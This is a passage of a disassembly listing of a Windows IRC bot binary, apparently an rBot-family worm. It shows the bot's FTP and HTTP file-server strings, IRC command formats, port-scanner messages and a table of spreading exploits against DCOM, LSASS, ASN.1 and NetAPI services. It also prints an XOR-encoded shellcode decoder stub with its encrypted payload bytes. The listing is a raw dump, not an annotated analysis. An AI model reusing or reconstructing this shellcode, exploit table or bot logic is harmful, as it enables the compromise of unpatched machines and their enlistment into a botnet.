					; sub_40EE72+537o
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_4053D5+5AFo
		align 4
unk_42A128	db    3			; DATA XREF: sub_4053D5+564o
		db 33h,	6Eh, 2
		db  7Ah	; z
		db 1Fh,	6Dh, 1Fh
		db  20h
		db 28h,	66h, 74h
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	3, 34h
aSPortDNowExecu	db '»»  %s, port:%d now executing %s on remote ABOSAL7.',0
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_4053D5+545o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_4053D5+519o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_4053D5+501o
		align 10h
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_4053D5+4ECo
		align 10h
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_4053D5+4DBo
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_4053D5+4A8o
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_4053D5+464o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_4053D5+42Bo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_4053D5+3FDo
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_4053D5+3EAo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_4053D5+3AFo
		align 10h
aPasv		db 'PASV',0             ; DATA XREF: sub_4053D5+39Co
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_4053D5+38Co
aI:					; DATA XREF: sub_4053D5+378o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_4053D5+351o
aA:					; DATA XREF: sub_4053D5+33Do
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_4053D5+326o
					; sub_4053D5+361o
		align 10h
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_4053D5+316o
		align 10h
off_42A2D0	dd offset dword_445750	; DATA XREF: sub_4053D5+302o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_4053D5+2F2o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_4053D5+2DEo
		align 10h
a215Nzmxftpd	db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_4053D5+2CEo
		align 10h
aSyst		db 'SYST',0             ; DATA XREF: sub_4053D5+2BAo
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_4053D5+2AAo
		align 10h
aPass		db 'PASS',0             ; DATA XREF: sub_4053D5+296o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_4053D5+286o
		align 10h
aUser_1		db 'USER',0             ; DATA XREF: sub_4053D5+271o
		align 4
aSS_1		db '%s %s',0            ; DATA XREF: sub_4053D5+260o
		align 10h
a220Nzmxftpd0wn	db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_4053D5+1D8o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_405A58+24o
					; sub_406C19+12Eo ...
		align 4
unk_42A36C	db    2			; DATA XREF: sub_405AF2+3F8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorServerFai	db 'Error: server failed, returned: <%d>.',0
		align 10h
asc_42A3B0	db 0Dh,0Ah,0		; DATA XREF: sub_405AF2+2CFo
		align 4
asc_42A3B4:				; DATA XREF: sub_405AF2+293o
					; sub_40EE72+A8o ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: sub_405AF2+269o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_405F4D+98o
					; sub_40B8D8+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F4D+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_405F4D:loc_405FB3o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_405F4D+5Fo
		align 4
unk_42A5D4	db    2			; DATA XREF: sub_4060D0+296o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_42A61C	db    2			; DATA XREF: sub_4060D0+212o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aWorkerThreadOf	db 'Worker thread of server thread: %d.',0
asc_42A65C:				; DATA XREF: sub_4060D0+15Ao
		unicode	0, <*>,0
asc_42A660:				; DATA XREF: sub_4060D0+FBo
					; sub_406387+29o ...
		dw 0Ah
		unicode	0, <>,0
aSS_2		db '%s%s',0             ; DATA XREF: sub_4060D0+EAo
					; sub_406387+4DAo ...
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_4060D0+3Ao
					; sub_40B390+4Co ...
		align 10h
aS_2		db '\%s',0              ; DATA XREF: sub_4060D0+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_406387+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_406387+61Co
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_406387+58Do
		align 10h
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_406387+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_406387:loc_4068AFo
		align 10h
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_406387+521o
		align 10h
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_406387+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_406387+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_406387+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_406387:loc_406741o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_406387+3B3o
		align 4
aSS		db '%s%s/',0            ; DATA XREF: sub_406387+36Co
		align 10h
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+328o
					; sub_406387+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 10h
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_406387+310o
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_406387+2E9o
					; sub_406387+40Bo
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_406387+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_406387+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_406387+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_406387+237o
		align 10h
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_406387+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_406387+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406AF8+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_42AB14	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_406C19+493o
dword_42AB20	dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
					; DATA XREF: sub_406C19+47Fo
		dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h,	20206F74h
		dd 20207325h, 75731F02h, 73656363h, 6C756673h, 6320796Ch
		dd 6C706D6Fh, 64657465h, 202C021Fh, 6F666E69h, 2528203Ah
		dd 2E2973h
unk_42AB74	db    2			; DATA XREF: sub_406C19+3B6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileNotFoundSS	db '  File not found: %s (%s).',0
dword_42ABA8	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_406C19+399o
dword_42ABBC	dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
					; DATA XREF: sub_406C19+33Eo
		dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h,	20206F74h
		dd 20207325h, 65621F02h, 6E6E6967h, 1F676E69h, 69202C02h
		dd 3A6F666Eh, 73252820h, 2E29h
unk_42AC04	db    2			; DATA XREF: sub_406C19+15Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToOpenFi	db '  Failed to open file: %s.',0
unk_42AC38	db    2			; DATA XREF: sub_406C19+6Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSocketF_2	db '  Error: socket() failed, returned: <%d>.',0
		align 4
aOctet		db 'octet',0            ; DATA XREF: sub_406C19+Fo
		align 8
aDcom135_0	db 'dcom135',0          ; DATA XREF: sub_407767+169o
		db 2 dup(0)
aDcom135	db 'Dcom135',0          ; DATA XREF: ___:00405361o
		align 4
		dd 5 dup(0)
dword_42ACB0	dd 87h			; DATA XREF: sub_407110+1Er
					; sub_40EE72+30B3r ...
off_42ACB4	dd offset sub_402DD7	; DATA XREF: sub_407767+1EAr
dword_42ACB8	dd 0			; DATA XREF: sub_402DD7+2E1w
					; sub_402DD7+2E7r ...
dword_42ACBC	dd 1			; DATA XREF: sub_407252+1Fr
dword_42ACC0	dd 0			; DATA XREF: sub_407252:loc_4074C3r
aDcom445	db 'dcom445',0
		dd 63440000h, 34346D6Fh, 35h, 5	dup(0)
		dd 1BDh, 402DD7h, 0
		dd 1, 0
aDcom1025	db 'dcom1025',0
		align 2
aDcom1025_0	db 'Dcom1025',0
		align 4
		dd 5 dup(0)
		dd 401h, 402DD7h, 0
		dd 1, 0
aLsass_445	db 'lsass_445',0
aLsass_445_0	db 'lsass_445',0
		dd 5 dup(0)
		dd 1BDh, 403688h, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0035h, 5F737361h
		dd 353331h, 5 dup(0)
		dd 87h,	403688h, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0039h, 5F737361h
		dd 393331h, 5 dup(0)
		dd 8Bh,	403688h, 0
		dd 2 dup(1), 346E7361h,	3534h, 73610000h, 6D73316Eh, 62h
		dd 5 dup(0)
		dd 1BDh, 40428Fh, 0
		dd 2 dup(1), 316E7361h,	3933h, 73610000h, 6D73316Eh, 746E62h
		dd 5 dup(0)
		dd 8Bh,	40428Fh, 0
		dd 2 dup(1), 6970616Eh,	353434h, 656E0000h, 69706174h
		dd 353434h, 5 dup(0)
		dd 1BDh, 404F42h, 2 dup(0)
		dd 1, 6970616Eh, 393331h, 656E0000h, 69706174h,	393331h
		dd 5 dup(0)
		dd 8Bh,	404F42h, 2 dup(0)
		dd 1, 6D7973h, 0
		dd 79730000h, 746E616Dh, 6365h,	5 dup(0)
		dd 0B97h, 405088h, 0
		dd 1, 0
		dd 636874h, 0
		dd 68540000h, 6C717363h, 6 dup(0)
		dd 599h, 40527Eh, 0	; CODE XREF: sub_42AF96:loc_42AFABj
		dd 1, 10h dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_42AFA6

; =============== S U B	R O U T	I N E =======================================



sub_42AF96	proc near		; CODE XREF: sub_42AF96:loc_42AFA6p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h

loc_42AF9E:				; CODE XREF: sub_42AF96+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_42AF9E
		jmp	short loc_42AFAB
; ---------------------------------------------------------------------------

loc_42AFA6:				; CODE XREF: ___:0042AF94j
		call	sub_42AF96

loc_42AFAB:				; CODE XREF: sub_42AF96+Ej
		jo	short near ptr dword_42AF44+2
		cwde
		cdq
		cdq
		retn
sub_42AF96	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_407110+82o
		align 4
aSD		db ' %s: %d,',0         ; DATA XREF: sub_407110+42o
		align 4
unk_42B134	db    2			; DATA XREF: sub_407110+11o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aExploitStatist	db '  Exploit Statistics:',0
		align 4
unk_42B168	db    2			; DATA XREF: sub_4071DB+42o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanNotActive_	db '  Scan not active.',0
unk_42B198	db    2			; DATA XREF: sub_4071DB+2Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCurrentIpS_	db '  Current IP: %s.',0
		align 4
unk_42B1C8	db    2			; DATA XREF: sub_407252+36Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartS	db 'Failed to start server, error: <%d>.',0
		align 4
unk_42B20C	db    2			; DATA XREF: sub_407252+307o
					; sub_40EE72+54B9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerListenin	db 'Server listening on IP: %s:%d, Directory: %s\.',0
		align 4
dword_42B258	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_407252+267o
		dd 2BBBB02h
aFailedToStar_0	db '  Failed to start server, error: <%d>.',0
		align 4
dword_42B298	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_407252+1FAo
		dd 2BBBB02h
aServerStartedO	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
unk_42B2E8	db    2			; DATA XREF: sub_407252+149o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_1	db '  Failed to start server, error: <%d>.',0
unk_42B328	db    2			; DATA XREF: sub_407252+DBo
					; sub_40EE72+5343o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aServerStarte_0	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40762E+38o
					; sub_40AEE0+46o
unk_42B384	db    2			; DATA XREF: sub_407767+EEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOpen	db '  IP: %s, Port %d is open.',0
unk_42B3BC	db    2			; DATA XREF: sub_407767+93o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSDScanThread	db '  IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_42B408	db    2			; DATA XREF: sub_40797F+1CEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedAtSDAf	db '  Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_42B45C	db    2			; DATA XREF: sub_40797F+173o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_2	db '  Failed to start worker thread, error: <%d>.',0
		align 4
unk_42B4A8	db    2			; DATA XREF: sub_40797F+103o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDScanThreadDS	db '  %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 10h
unk_42B4F0	db    2			; DATA XREF: sub_40797F+87o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToInitia	db '  Failed to initialize critical section.',0
		align 4
unk_42B538	db    2			; DATA XREF: sub_407BDE+156o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartC	db '   Failed to start client thread, error: <%d>.',0
unk_42B584	db    2			; DATA XREF: sub_407BDE+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnecti	db '   Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_42B5DC	db    2			; DATA XREF: ___:00407F10o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_3	db '   Failed to start connection thread, error: <%d>.',0
unk_42B62C	db    2			; DATA XREF: ___:00407E47o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnec_0	db '   Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
unk_42B680	db    2			; DATA XREF: sub_407FEA+1B2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_4	db 'Failed to start server on Port %d.',0
		align 10h
unk_42B6C0	db    2			; DATA XREF: sub_407FEA+18Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_5	db 'Failed to start client thread, error: <%d>.',0
unk_42B708	db    2			; DATA XREF: sub_407FEA+114o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aClientConnec_1	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_42B75C	db    2			; DATA XREF: sub_407FEA+A8o
					; sub_40EE72+5E22o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
